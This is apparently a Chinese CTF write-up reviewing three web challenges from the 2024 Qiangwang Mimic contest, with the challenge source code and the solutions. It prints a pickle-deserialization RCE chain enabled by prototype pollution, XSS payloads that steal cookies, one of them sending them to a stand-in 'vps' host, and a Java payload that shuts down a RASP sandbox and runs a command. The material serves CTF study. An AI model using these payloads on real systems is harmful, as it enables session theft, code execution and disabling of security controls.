0%

2024强网拟态复盘

web复盘一下吧只做出来了两道,所有题都有一点思路,但是只有一点点可惜可惜,太可惜了。

capoo

这是个非预期,capoo.php可以任意文件读取,能读取到start.sh,start.sh中泄露了flag的名字,直接读取就行

ez_picker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#源码
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
'math',
'datetime',
'json',
'collections',
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)

file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)

return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)

@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

考点就是原型链污染+pickle反序列化+jwt伪造,我当时感觉最难的是那个pickle反序列化,因为他是白名单虽然可以通过原型链污染进行修改但是这是由于对原理以及内建模块的不熟悉导致的,其实只需要把用到的模块和命令加入就行比如builtinsgetattrpopen加入就好了

1
2
3
4
5
6
7
8
9
#污染链
{"__init__":{
        "__globals__":{
            "secret_key":"66666",
            "safe_modules":["os"],
            "safe_names":["eval"],
        }
    }
}
1
2
3
4
5
#pickle链
b'''(cos
eval
S'os.system(\"calc\")'
o.'''

Spreader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# app.js
const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
secret: secret_key,
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: false,
secure: false,
}
}));


app.use('/', require('./index')(users,posts,store,AdminPassWord,PrivilegedPassWord));

app.listen(port, () => {
console.log(`App is running on http://localhost:${port}`);
});

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#bot.js
const puppeteer = require('puppeteer');

async function triggerXSS(UserName, PassWord) {
const browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox'],
executablePath: '/usr/bin/chromium',
headless: true
});

const page = await browser.newPage();

await page.goto('http://localhost:3000/login');

await page.type('input[name="username"]', UserName);
await page.type('input[name="password"]', PassWord);

await page.click('button[type="submit"]');

await page.goto('http://localhost:3000/');

await browser.close();

return;
}

module.exports = { triggerXSS };

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#index.js
const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.redirect('/login');
}
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

const ROLES = {
PLAIN: "plain",
PRIVILEGED: "privileged",
ADMIN: "admin",
};

router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});

router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});
router.get('/login', (req, res) => {
res.sendFile('login.html', { root: './views' });
});

router.post('/login', (req, res) => {
const { username, password } = req.body;
console.log(username);
console.log(password);
const user = users.find(u => u.username === username && u.password === password);
if (user) {
req.session.user = user;
res.redirect('/');
} else {
res.send('Invalid credentials!');
}
});
router.get('/', isAuthenticated, (req, res) => {
const currentUser = req.session.user;
let filteredPosts = [];
if (currentUser.role === ROLES.ADMIN) {
filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
} else if (currentUser.role === ROLES.PRIVILEGED) {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
} else {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
}
res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});
router.post('/post', isAuthenticated, (req, res) => {
let { content } = req.body;

const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');

const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
res.redirect('/');
});


router.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/login');
});
router.get('/report_admin', async (req, res) => {
try {
await triggerXSS("admin",AdminPassWord);
res.send(`Admin Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Admin Bot successfully logged in.`);
}
});
router.get('/report_privileged', async (req, res) => {
try {
await triggerXSS("privileged",PrivilegedPassWord);
res.send(`Privileged Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Privileged Bot successfully logged in.`);
}
});
router.get('/store', async (req, res) => {
return res.status(200).json(store);
});
router.post('/store', async (req, res) => {
if (req.body) {
store.push(req.body);
return res.status(200).send('Data stored successfully');
} else {
return res.status(400).send('No data received');
}
});
router.get('/flag', async (req, res) => {
try {
if (req.session.user && req.session.user.role === "admin") {
fs.readFile('/flag', 'utf8', (err, data) => {
if (err) {
console.error('Error reading flag file:', err);
return res.status(500).send('Internal Server Error');
}
res.send(`Your Flag Here: ${data}`);
});
} else {
res.status(403).send('Unauthorized!');
}
} catch (error) {
console.error('Error fetching flag:', error);
res.status(500).send('Internal Server Error');
}
});
return router;
};

这个题一眼xss嘛,然后有两种解题思路,一个是插入js代码利用/store路由,然后访问/report_privileged将privilege用户的cookie储存到/store中,然后同样的步骤再来一次获取admin的cookie

1
2
<script>fetch('/store',{body:"''p"+`rivileged_cookie''=`+encodeURIComponent(document.cookie),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>

或者就是直接弹出privilege和admin的cookie

1
<img src="" onerror=document.location='http://vps:port?cookie='+document.cookie />

OnlineRunner

这道题没有办法用import的方式来导入类,能执行命令的都不能用,反射也没有办法直接执行命令,看别的师傅是要绕过一个沙箱

探索Java RASP Bypass新姿势

这里我还是有点懵,直接贴别的师傅的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
String[] files = {"/proc/net/tcp""/proc/net/tcp6"};
        for (int f = 0; f < files.length; f++) {
            try {
                java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(files[f]));
                String line;
                reader.readLine(); // Skip header line
                while ((line = reader.readLine()) != null) {
                    line = line.trim();
                    String[] parts = line.split("\\s+");
                    if (parts.length > 3) {
                        String local_address = parts[1];
                        String state = parts[3];
                        // State 0A means LISTEN
                        if (state.equals("0A")) {
                            String[] addrPort = local_address.split(":");
                            String ipHex = addrPort[0];
                            String portHex = addrPort[1];
                            String ip = "";
                            if (files[f].endsWith("tcp6")) {
                                // IPv6 address parsing
                                StringBuilder ipBuilder = new StringBuilder();
                                for (int i = ipHex.length(); i > 0; i -= 8) {
                                    String segment = ipHex.substring(Math.max(i - 80), i);
                                    StringBuilder segBuilder = new StringBuilder();
                                    for (int j = segment.length(); j > 0; j -= 2) {
                                        segBuilder.append(segment.substring(j - 2, j));
                                    }
                                    ipBuilder.insert(0, segBuilder.toString());
                                    if (i > 8) {
                                        ipBuilder.insert(0":");
                                    }
                                }
                                ip = ipBuilder.toString();
                            } else {
                                // IPv4 address parsing
                                StringBuilder ipBuilder = new StringBuilder();
                                for (int i = ipHex.length(); i > 0; i -= 2) {
                                    String part = ipHex.substring(i - 2, i);
                                    int num = Integer.parseInt(part, 16);
                                    ipBuilder.insert(0, num);
                                    if (i > 2) {
                                        ipBuilder.insert(0".");
                                    }
                                }
                                ip = ipBuilder.toString();
                            }
                            int port = Integer.parseInt(portHex, 16);
                            System.out.println("Listening on " + ip + ":" + port);
                        }
                    }
                }
                reader.close();
            } catch (java.io.IOException e) {
                System.out.println(e);
            }
        }
try {
            java.net.URL url = new java.net.URL("http://127.0.0.1:46461/sandbox/default/module/http/sandbox-control/shutdown");
            java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
            connection.setRequestMethod("GET");
            java.io.BufferedReader reader = new java.io.BufferedReader(
                new java.io.InputStreamReader(connection.getInputStream())
            );
            String line;
            StringBuilder response = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                response.append(line).append("\n");
            }
            reader.close();
            connection.disconnect();
            System.out.println(response.toString()); System.out.println(connection.getResponseCode());
        } catch (java.io.IOException e) {
            System.out.println(e);
        }
 try {
            String command = "/readflag"// Use "dir" on Windows
            java.lang.Process process = java.lang.Runtime.getRuntime().exec(command);
            java.io.BufferedReader reader = new java.io.BufferedReader(
                new java.io.InputStreamReader(process.getInputStream())
            );
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            reader.close();
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }

/*try{

java.io.File folder = new java.io.File("/home");
        if (!folder.isDirectory()) {
            System.out.println("Provided path is not a folder");
            return;
        }
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.util.zip.ZipOutputStream zos = new java.util.zip.ZipOutputStream(baos);
        java.util.Stack<java.io.File> stack = new java.util.Stack<java.io.File>();
        stack.push(folder);
        while (!stack.isEmpty()) {
            java.io.File currentFile = stack.pop();
            if (currentFile.isDirectory()) {
                java.io.File[] fileList = currentFile.listFiles();
                if (fileList != null) {
                    for (int i = 0; i < fileList.length; i++) {
                        stack.push(fileList[i]);
                    }
                }
            } else {
                java.io.FileInputStream fis = new java.io.FileInputStream(currentFile);
                String zipEntryName = currentFile.getAbsolutePath().substring(folder.getAbsolutePath().length() + 1);
                zos.putNextEntry(new java.util.zip.ZipEntry(zipEntryName));
                byte[] buffer = new byte[1024];
                int length;
                while ((length = fis.read(buffer)) > 0) {
                    zos.write(buffer, 0, length);
                }
                fis.close();
                zos.closeEntry();
            }
        }
        zos.close();
        byte[] zipBytes = baos.toByteArray();
        StringBuilder hexString = new StringBuilder();
        for (int i = 0; i < zipBytes.length; i++) {
            String hex = Integer.toHexString(0xff & zipBytes[i]);
            if (hex.length() == 1) hexString.append('0');
            hexString.append(hex);
        }
        System.out.println(hexString.toString());

}catch(Exception e){System.out.println(e);}*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#读取文件

try {                  
    java.io.File file = new java.io.File("/home/ctf/sandbox/lib/sandbox-agent.jar"); // 需要读取的二进制文件    
    java.io.BufferedInputStream bis = new java.io.BufferedInputStream(new java.io.FileInputStream(file));                  
            byte[] buffer = new byte[1024]; // 创建一个字节数组作为缓冲区                  
            int bytesRead;                       
            while ((bytesRead = bis.read(buffer)) != -1) { // 循环读取                  
                // 处理读取的数据(这里可以进行打印、处理等)                  
                //System.out.write(buffer, 0, bytesRead);                  
System.out.print('"');                  
                System.out.print(java.util.Base64.getEncoder().encodeToString(buffer));                  
System.out.println("\",");                  
      }                                   
        } catch (                  
java.io.IOException e) {                  
            e.printStackTrace();                  
        }

其实比赛的时候想过用base64将文件编码读取,但是因为数据过大导致网页卡死了就没有继续想过了


唉,还得继续学,太菜了